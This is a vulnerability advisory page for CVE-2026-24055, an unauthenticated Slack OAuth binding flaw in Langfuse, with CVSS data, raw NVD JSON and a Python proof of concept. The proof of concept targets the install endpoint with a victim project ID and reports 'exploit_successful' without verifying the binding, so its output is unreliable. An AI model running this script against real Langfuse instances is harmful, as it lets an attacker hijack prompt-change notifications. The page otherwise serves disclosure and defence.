Security Vulnerability Report
中文
CVE-2026-24055 CVSS 5.3 MEDIUM

CVE-2026-24055

Published: 2026-01-22 04:16:00
Last Modified: 2026-02-17 17:46:43

Description

Langfuse is an open source large language model engineering platform. In versions 3.146.0 and below, the /api/public/slack/install endpoint initiates Slack OAuth using a projectId provided by the client without authentication or authorization. The projectId is preserved throughout the OAuth flow, and the callback stores installations based on this untrusted metadata. This allows an attacker to bind their Slack workspace to any project and potentially receive changes to prompts stored in Langfuse Prompt Management. An attacker can replace existing Prompt Slack Automation integrations or pre-register a malicious one, though the latter requires an authenticated user to unknowingly configure it despite visible workspace and channel indicators in the UI. This issue has been fixed in version 3.147.0.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:langfuse:langfuse:*:*:*:*:*:*:*:* - VULNERABLE
Langfuse < 3.147.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2026-24055 PoC - Langfuse Slack OAuth Authorization Bypass # Target: Langfuse instance < 3.147.0 TARGET_URL = "http://target-langfuse-instance.com" TARGET_PROJECT_ID = "victim-project-id-12345" # Attacker's target project MALICIOUS_SLACK_TEAM_ID = "attacker-slack-workspace" def exploit_slack_oauth_bypass(): """ This PoC demonstrates the authorization bypass in Langfuse's Slack OAuth flow. An attacker can bind their Slack workspace to any project by manipulating the projectId parameter. """ # Step 1: Initiate Slack OAuth with target projectId (no authentication required) install_url = f"{TARGET_URL}/api/public/slack/install" params = { "projectId": TARGET_PROJECT_ID, "slackTeamId": MALICIOUS_SLACK_TEAM_ID } print(f"[+] Step 1: Initiating Slack OAuth with target projectId: {TARGET_PROJECT_ID}") try: response = requests.get(install_url, params=params, allow_redirects=False) if response.status_code in [302, 303]: # OAuth redirect to Slack redirect_url = response.headers.get('Location') print(f"[+] Step 2: Received Slack OAuth redirect") print(f" Redirect URL: {redirect_url}") # In real attack, victim would complete OAuth at this URL # After completion, the attacker's Slack workspace is bound to target project print("[+] Step 3: After OAuth completion, attacker workspace is bound to target project") print(f" Attacker can now receive prompt management notifications") return { "status": "exploit_successful", "target_project": TARGET_PROJECT_ID, "malicious_slack_team": MALICIOUS_SLACK_TEAM_ID, "oob_channel": "attacker-controlled-slack-channel" } else: print(f"[-] Unexpected response: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": print("=" * 60) print("CVE-2026-24055 - Langfuse Slack OAuth Authorization Bypass") print("=" * 60) result = exploit_slack_oauth_bypass() if result: print(f"\n[+] Exploit completed: {json.dumps(result, indent=2)}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24055", "sourceIdentifier": "[email protected]", "published": "2026-01-22T04:16:00.367", "lastModified": "2026-02-17T17:46:42.970", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Langfuse is an open source large language model engineering platform. In versions 3.146.0 and below, the /api/public/slack/install endpoint initiates Slack OAuth using a projectId provided by the client without authentication or authorization. The projectId is preserved throughout the OAuth flow, and the callback stores installations based on this untrusted metadata. This allows an attacker to bind their Slack workspace to any project and potentially receive changes to prompts stored in Langfuse Prompt Management. An attacker can replace existing Prompt Slack Automation integrations or pre-register a malicious one, though the latter requires an authenticated user to unknowingly configure it despite visible workspace and channel indicators in the UI. This issue has been fixed in version 3.147.0."}, {"lang": "es", "value": "Langfuse es una plataforma de ingeniería de modelos de lenguaje grandes de código abierto. En las versiones 3.146.0 e inferiores, el endpoint /api/public/slack/install inicia el OAuth de Slack utilizando un projectId proporcionado por el cliente sin autenticación ni autorización. El projectId se conserva durante todo el flujo de OAuth, y la devolución de llamada almacena las instalaciones basándose en estos metadatos no confiables. Esto permite a un atacante vincular su espacio de trabajo de Slack a cualquier proyecto y potencialmente recibir cambios en las indicaciones (prompts) almacenadas en Langfuse Prompt Management. Un atacante puede reemplazar las integraciones existentes de Prompt Slack Automation o pre-registrar una maliciosa, aunque esto último requiere que un usuario autenticado la configure sin saberlo a pesar de los indicadores visibles del espacio de trabajo y del canal en la interfaz de usuario (UI). Este problema ha sido solucionado en la versión 3.147.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:langfuse:langfuse:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.89.0", "versionEndExcluding": "3.147.0", "matchCriteriaId": "1058C1A1-0AEA-4CF4-9E22-B05B57F96B1D"}]}]}], "references": [{"url": "https://github.com/langfuse/langfuse/commit/3adc89e4d72729eabef55e46888b8ce80a7e3b0a", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/langfuse/langfuse/releases/tag/v3.147.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github ... (truncated)